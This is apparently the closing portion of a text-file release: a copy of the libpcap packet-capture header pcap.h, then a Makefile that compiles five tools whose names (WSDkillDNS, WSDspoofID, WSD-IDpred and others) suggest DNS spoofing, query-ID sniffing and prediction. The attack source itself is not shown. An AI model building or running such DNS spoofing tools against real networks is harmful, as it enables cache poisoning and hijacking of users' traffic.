$Header: pcap.h,v 1.21 97/10/15 21:59:13 leres Exp $ (LBL) */ #ifndef lib_pcap_h #define lib_pcap_h #include #include #include #include #define PCAP_VERSION_MAJOR 2 #define PCAP_VERSION_MINOR 4 #define PCAP_ERRBUF_SIZE 256 /* * Compatibility for systems that have a bpf.h that * predates the bpf typedefs for 64-bit support. */ #if BPF_RELEASE - 0 < 199406 typedef int bpf_int32; typedef u_int bpf_u_int32; #endif typedef struct pcap pcap_t; typedef struct pcap_dumper pcap_dumper_t; /* * The first record in the file contains saved values for some * of the flags used in the printout phases of tcpdump. * Many fields here are 32 bit ints so compilers won't insert unwanted * padding; these files need to be interchangeable across architectures. */ struct pcap_file_header { bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32 linktype; /* data link type (DLT_*) */ }; /* * Each packet in the dump file is prepended with this generic header. * This gets around the problem of different headers for different * packet interfaces. */ struct pcap_pkthdr { struct timeval ts; /* time stamp */ bpf_u_int32 caplen; /* length of portion present */ bpf_u_int32 len; /* length this packet (off wire) */ }; /* * As returned by the pcap_stats() */ struct pcap_stat { u_int ps_recv; /* number of packets received */ u_int ps_drop; /* number of packets dropped */ u_int ps_ifdrop; /* drops by interface XXX not yet supported */ }; typedef void (*pcap_handler)(u_char *, const struct pcap_pkthdr *, const u_char *); char *pcap_lookupdev(char *); int pcap_lookupnet(char *, bpf_u_int32 *, bpf_u_int32 *, char *); pcap_t *pcap_open_live(char *, int, int, int, char *); pcap_t *pcap_open_offline(const char *, char *); void pcap_close(pcap_t *); int pcap_loop(pcap_t *, int, pcap_handler, u_char *); int pcap_dispatch(pcap_t *, int, pcap_handler, u_char *); const u_char* pcap_next(pcap_t *, struct pcap_pkthdr *); int pcap_stats(pcap_t *, struct pcap_stat *); int pcap_setfilter(pcap_t *, struct bpf_program *); void pcap_perror(pcap_t *, char *); char *pcap_strerror(int); char *pcap_geterr(pcap_t *); int pcap_compile(pcap_t *, struct bpf_program *, char *, int, bpf_u_int32); /* XXX */ int pcap_freecode(pcap_t *, struct bpf_program *); int pcap_datalink(pcap_t *); int pcap_snapshot(pcap_t *); int pcap_is_swapped(pcap_t *); int pcap_major_version(pcap_t *); int pcap_minor_version(pcap_t *); /* XXX */ FILE *pcap_file(pcap_t *); int pcap_fileno(pcap_t *); pcap_dumper_t *pcap_dump_open(pcap_t *, const char *); void pcap_dump_close(pcap_dumper_t *); void pcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *); /* XXX this guy lives in the bpf tree */ u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int); char *bpf_image(struct bpf_insn *, int); #endif ----[ END of pcap.h ]---- ----[Makefile]---- # Version 0.2 SHELL = /bin/sh # Uncomment this if you're not on Linux #LIBS = -lsocket -lnsl -lpcap CC = gcc RM = /bin/rm BIN = . #BIN = w00w00/bins LIBS = -lpcap CFLAGS = -I. -L. all: WSDkillDNS WSDspoofID WSDsniffID WSD-baddns WSD-IDpred WSDkillDNS: WSDkillDNS.c $(CC) $(CFLAGS) WSDkillDNS.c $(LIBS) -o $(BIN)/WSDkillDNS WSDspoofID: WSDspoofID.c $(CC) $(CFLAGS) WSDspoofID.c $(LIBS) -o $(BIN)/WSDspoofID WSDsniffID: WSDsniffID.c $(CC) $(CFLAGS) WSDsniffID.c $(LIBS) -o $(BIN)/WSDsniffID WSD-baddns: WSD-baddns.c $(CC) $(CFLAGS) WSD-baddns.c $(LIBS) -o $(BIN)/WSD-baddns WSD-IDpred: WSD-IDpred.c $(CC) $(CFLAGS) WSD-IDpred.c $(LIBS) -o $(BIN)/WSD-IDpred ----[END of Makefile ]----